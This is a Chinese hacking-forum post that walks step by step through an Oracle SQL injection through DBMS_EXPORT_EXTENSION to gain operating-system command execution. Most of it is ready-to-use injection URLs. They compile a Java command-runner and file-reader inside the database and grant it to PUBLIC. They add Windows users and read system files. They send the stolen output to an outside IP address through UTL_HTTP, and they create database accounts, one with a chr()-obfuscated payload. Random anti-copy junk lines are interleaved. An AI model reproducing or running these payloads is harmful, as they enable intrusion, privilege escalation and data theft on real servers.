中国网络渗透测试联盟
标题:
实例演示oracle注入获取cmdshell的全过程
[打印本页]
作者:
admin
时间:
2012-12-18 12:21
标题:
实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
7 a& I. k( u: X0 R( d
/ p) U8 n% @# _5 S ^) N% e, D
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
2 {9 ?3 W W- P" W- z8 J
的形式即可。(用" 'a'|| "是为了让语句返回true值)
/ H/ U6 n' ?- Z# ?
语句有点长,可能要用post提交。
/ S7 x, U j3 S' e8 L" S
以下是各个步骤:
h6 a: s9 o) O, b, ~* J* D
1.创建包
$ @. N6 B4 C4 j2 z. p
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
9 n! T) K$ O) V b8 C0 A
/xxx.jsp?id=1 and '1'<>'a'||(
, f: z5 w% a0 B3 |/ I: v# I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) Z( ]; H) Z/ K5 h3 g
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
4 j2 Y+ v8 b, R, P* W' Y
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
6 t% y# p k! } B0 M. d) i& @
}'''';END;'';END;--','SYS',0,'1',0) from dual
% G2 ~- G5 E4 j; ?4 w* A
)
5 U5 E) N# s1 q) h. [
------------------------
0 C, R: o j# A2 n, I
如果url有长度限制,可以把readFile()函数块去掉,即:
( {6 D4 D2 e, }
/xxx.jsp?id=1 and '1'<>'a'||(
+ r" |5 f. n% H. M1 T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 G, m, {! u& `( W6 Y' }4 w' L" P
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
9 x% |2 y) c, Z9 p+ Y( g
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. }: ]9 Y# q3 T% B3 o
}'''';END;'';END;--','SYS',0,'1',0) from dual
! u2 `% T5 [- q
)
9 R" Q) L8 F, ^6 Y# }
同时把后面步骤 提到的 对readFile()的处理语句去掉。
3 ^$ S) U/ |/ o( V( _2 K1 E; I3 p
------------------------------
) \5 ?1 ^( c; {' M2 `5 r
2.赋Java权限
5 m/ d# l5 h$ R, W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
& w1 L, x6 M/ B2 e! Q5 n4 Q
3.创建函数
, a' d; l% |9 l2 P) L9 _: p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 a5 Y) J. u; z6 d; P. ^
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
! c; `( q) b3 ^9 j; e; K- L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: m5 D8 D5 o) U% ]
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
" i: d; s4 ^1 I8 |
4.赋public执行函数的权限
5 P8 ~) G4 p1 }. }! O6 V2 f' V9 D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
& [/ y6 ]' w( }: } n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 O3 K: s% f6 R& z& h
5.测试上面的几步是否成功
+ c5 i. G+ ]6 v( B- O
and '1'<>'11'||(
" Q v2 R# j6 q9 ~5 E3 C3 K& {( R
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
/ Y% |* \9 o7 J* l8 l+ [2 p
)
/ F5 U9 w* p, S
and '1'<>(
- w( _) f. F: g
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
) ^: ~5 U4 k Q3 f" x* f3 q3 p8 I
)
6 b1 Z4 n, a, w s4 O
6.执行命令:
. l @6 E M9 B/ T) @# A
/xxx.jsp?id=1 and '1'<>(
# J ^& k; M5 Q0 X8 z6 u# y0 Y) z
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
& w$ U+ W. T% I! f j
, ?6 E' h! B5 X- c$ s. w
)
/ M* J* K0 B8 ]7 K6 W4 J9 q- C
/xxx.jsp?id=1 and '1'<>(
# j; s) J# W5 J J6 N v4 a0 r
select sys.LinxReadFile('c:/boot.ini') from dual
, }- h1 F" f4 D7 X: K
$ A( ?6 ?: p% s% ^' ^
)
, c7 a+ I+ [! z+ Z" n/ a! \* E2 k
! K1 u9 Q9 {; ?3 a: O: `) l/ r
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
5 f. h6 s1 D @1 s
如果要查看运行结果可以用 union :
4 m- r( M- K1 Y! j9 K
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 q4 O3 P7 X2 b' b9 {! A" m
或者UTL_HTTP.request(:
+ Y* L. H! [; F1 A0 b( {
/xxx.jsp?id=1 and '1'<>(
! ~- ], l A: f0 X
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
2 ^ r, y+ k3 Y: u3 u) \8 A# X% h
)
# d$ Z- \ D% Y/ V4 g
/xxx.jsp?id=1 and '1'<>(
, b1 v g% o, W: L" v
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
7 i# w9 Q c6 ]6 r
)
* Y Y/ ?+ x7 n* F j
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
( J3 D' H5 W) y7 h9 ?% s. a) t
--------------------
1 ^' b- p& x* L5 N |5 {# n2 h
6.内部变化
$ v) Q q! {$ i- P. T6 S h
通过以下命令可以查看all_objects表达改变:
9 X* F9 T) h: o3 }* I& P
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
$ ]3 q( {4 n+ | O2 O$ `
7.删除我们创建的函数
& U/ L5 F8 p; Y _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* R# N6 j/ r+ Q
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
5 t& n/ D6 H! l0 z/ c z" p, S( i
====================================================
$ {6 B9 y' m4 z( o, B2 v0 h; p7 W
全文结束。谨以此文赠与我的朋友。
) t. \1 x1 m. a' s
linx
U6 Z# s! q; V# ]6 I
124829445
?% F2 o4 ?, E/ W
2008.1.12
$ k" L! a/ U' L7 C( r( E+ K
linyujian@bjfu.edu.cn
/ i! g9 ]9 @- ^* o9 x
======================================================================
/ v8 L, V9 s+ {3 O# D! I
测试漏洞的另一方法:
4 U" K( d& F2 ?. t r3 g* M& c1 P
创建oracle帐号:
; {) v. ^2 ?( v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 e* m4 K% I* a. S' D! a" S
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
: h6 q: y* y( z: y. e
即:
, l# ]5 N5 b% E; O! Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
4 c. d, [5 a6 I
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 p9 N0 s9 ]+ n4 V4 I2 v
确定漏洞存在:
8 F$ I. A$ ^) M$ C8 e
1<>(
& R! x# W3 J0 ^9 m2 e# ?
select user_id from all_users where username='LINXSQL'
2 }9 {: Y( T' m
)
1 ~% d$ f: n3 _1 Y3 O' J- G
给linxsql连接权限:
8 i, b% T9 m2 ?2 i+ G% ]) }/ P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(
1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# m2 M+ B3 g% i. q# i% r6 ]% o; h
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
, E3 T& |0 e3 x8 k
删除帐号:
& c4 L1 _0 W. P) e4 d2 {3 ^5 \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; j+ U! q+ L+ ~' e5 S
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
7 n! c, V) G0 a9 g ^5 Y
======================
& \: J) g# @ W, A' N# e3 H. V8 E' s
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
L5 a5 u7 V o( d5 f; j
1.jsp?id=1 and '1'<>(
2 T3 l2 T+ A8 I A& E3 }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 V( |0 A8 Q {. p
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
+ ]" Y) s* L- P0 B, r/ Q4 H
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
" }4 ~1 S, _$ u, M
)
9 `- H; C2 ^/ L$ S
1 `" ]+ I" W5 i8 r
/ u3 q; @! x' o: f( }
i, V q* S( j' {
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2